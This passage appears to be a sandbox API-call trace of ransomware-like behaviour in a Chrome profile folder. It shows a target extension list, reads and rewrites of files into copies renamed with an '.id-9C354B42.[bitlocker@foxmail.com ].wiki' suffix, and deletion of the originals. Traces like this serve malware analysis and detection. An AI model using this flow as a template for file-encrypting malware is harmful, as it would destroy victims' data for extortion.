Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.715] lstrlenW (lpString=".dbf") returned 4 [0178.715] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.715] lstrlenW (lpString=".1cd") returned 4 [0178.715] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.715] lstrlenW (lpString=".jpg") returned 4 [0178.715] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.715] lstrlenW (lpString=".doc") returned 4 [0178.715] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString=".docx") returned 5 [0178.715] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0178.715] lstrlenW (lpString=".pdf") returned 4 [0178.716] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString=".xls") returned 4 [0178.716] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString=".xlsx") returned 5 [0178.716] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0178.716] lstrlenW (lpString=".ppt") returned 4 [0178.716] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.716] lstrlenW (lpString=".zip") returned 4 [0178.716] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString=".rar") returned 4 [0178.716] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString=".bz2") returned 4 [0178.716] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString=".7z") returned 3 [0178.716] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0178.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.716] lstrlenW (lpString=".dbf") returned 4 [0178.716] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.716] lstrlenW (lpString=".1cd") returned 4 [0178.716] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.716] lstrlenW (lpString=".jpg") returned 4 [0178.716] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0178.716] lstrlenW (lpString="LOG") returned 3 [0178.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.717] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=195) returned 1 [0178.717] CloseHandle (hObject=0x1ac) returned 1 [0178.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log")) returned 0x2020 [0178.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.717] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.717] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.718] GetLastError () returned 0x0 [0178.718] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0xc3, lpOverlapped=0x0) returned 1 [0178.719] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0178.720] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.720] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xda, lpOverlapped=0x0) returned 1 [0178.720] SetEndOfFile (hFile=0x1a0) returned 1 [0178.720] CloseHandle (hObject=0x1a0) returned 1 [0178.720] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.720] SetEndOfFile (hFile=0x1ac) returned 1 [0178.721] CloseHandle (hObject=0x1ac) returned 1 [0178.721] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.721] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log")) returned 1 [0178.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.721] lstrlenW (lpString=".doc") returned 4 [0178.721] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0178.721] lstrlenW (lpString=".docx") returned 5 [0178.721] lstrcmpiW (lpString1=".docx", lpString2="m\\LOG") returned -1 [0178.721] lstrlenW (lpString=".pdf") returned 4 [0178.721] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0178.721] lstrlenW (lpString=".xls") returned 4 [0178.721] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0178.721] lstrlenW (lpString=".xlsx") returned 5 [0178.721] lstrcmpiW (lpString1=".xlsx", lpString2="m\\LOG") returned -1 [0178.722] lstrlenW (lpString=".ppt") returned 4 [0178.722] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.722] lstrlenW (lpString=".zip") returned 4 [0178.722] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString=".rar") returned 4 [0178.722] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString=".bz2") returned 4 [0178.722] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString=".7z") returned 3 [0178.722] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0178.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.722] lstrlenW (lpString=".dbf") returned 4 [0178.722] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.722] lstrlenW (lpString=".1cd") returned 4 [0178.722] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.722] lstrlenW (lpString=".jpg") returned 4 [0178.722] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.722] lstrlenW (lpString=".doc") returned 4 [0178.722] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString=".docx") returned 5 [0178.722] lstrcmpiW (lpString1=".docx", lpString2="m\\LOG") returned -1 [0178.722] lstrlenW (lpString=".pdf") returned 4 [0178.722] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString=".xls") returned 4 [0178.722] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0178.722] lstrlenW (lpString=".xlsx") returned 5 [0178.723] lstrcmpiW (lpString1=".xlsx", lpString2="m\\LOG") returned -1 [0178.723] lstrlenW (lpString=".ppt") returned 4 [0178.723] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0178.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.723] lstrlenW (lpString=".zip") returned 4 [0178.723] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0178.723] lstrlenW (lpString=".rar") returned 4 [0178.723] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0178.723] lstrlenW (lpString=".bz2") returned 4 [0178.723] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0178.723] lstrlenW (lpString=".7z") returned 3 [0178.723] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0178.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.723] lstrlenW (lpString=".dbf") returned 4 [0178.723] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0178.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.723] lstrlenW (lpString=".1cd") returned 4 [0178.723] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0178.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 136 [0178.723] lstrlenW (lpString=".jpg") returned 4 [0178.723] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0178.723] lstrlenW (lpString="MANIFEST-000001") returned 15 [0178.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.724] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=41) returned 1 [0178.724] CloseHandle (hObject=0x1ac) returned 1 [0178.724] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001")) returned 0x2020 [0178.724] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.724] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.724] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.725] GetLastError () returned 0x0 [0178.725] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x29, lpOverlapped=0x0) returned 1 [0178.726] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x30, lpOverlapped=0x0) returned 1 [0178.727] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.727] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0178.727] SetEndOfFile (hFile=0x1a0) returned 1 [0178.727] CloseHandle (hObject=0x1a0) returned 1 [0178.727] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.727] SetEndOfFile (hFile=0x1ac) returned 1 [0178.728] CloseHandle (hObject=0x1ac) returned 1 [0178.728] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.728] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001")) returned 1 [0178.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.728] lstrlenW (lpString=".doc") returned 4 [0178.728] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0178.728] lstrlenW (lpString=".docx") returned 5 [0178.728] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0178.728] lstrlenW (lpString=".pdf") returned 4 [0178.728] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0178.728] lstrlenW (lpString=".xls") returned 4 [0178.728] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0178.728] lstrlenW (lpString=".xlsx") returned 5 [0178.728] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0178.728] lstrlenW (lpString=".ppt") returned 4 [0178.729] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.729] lstrlenW (lpString=".zip") returned 4 [0178.729] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString=".rar") returned 4 [0178.729] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString=".bz2") returned 4 [0178.729] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString=".7z") returned 3 [0178.729] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0178.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.729] lstrlenW (lpString=".dbf") returned 4 [0178.729] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.729] lstrlenW (lpString=".1cd") returned 4 [0178.729] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.729] lstrlenW (lpString=".jpg") returned 4 [0178.729] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.729] lstrlenW (lpString=".doc") returned 4 [0178.729] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString=".docx") returned 5 [0178.729] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0178.729] lstrlenW (lpString=".pdf") returned 4 [0178.729] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString=".xls") returned 4 [0178.729] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0178.729] lstrlenW (lpString=".xlsx") returned 5 [0178.729] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0178.729] lstrlenW (lpString=".ppt") returned 4 [0178.730] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0178.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.730] lstrlenW (lpString=".zip") returned 4 [0178.730] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0178.730] lstrlenW (lpString=".rar") returned 4 [0178.730] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0178.730] lstrlenW (lpString=".bz2") returned 4 [0178.730] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0178.730] lstrlenW (lpString=".7z") returned 3 [0178.730] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0178.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.730] lstrlenW (lpString=".dbf") returned 4 [0178.730] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0178.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.730] lstrlenW (lpString=".1cd") returned 4 [0178.730] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0178.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 148 [0178.730] lstrlenW (lpString=".jpg") returned 4 [0178.730] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0178.730] lstrlenW (lpString="Top Sites") returned 9 [0178.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.731] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=20480) returned 1 [0178.731] CloseHandle (hObject=0x1ac) returned 1 [0178.731] GetFileAttributesW 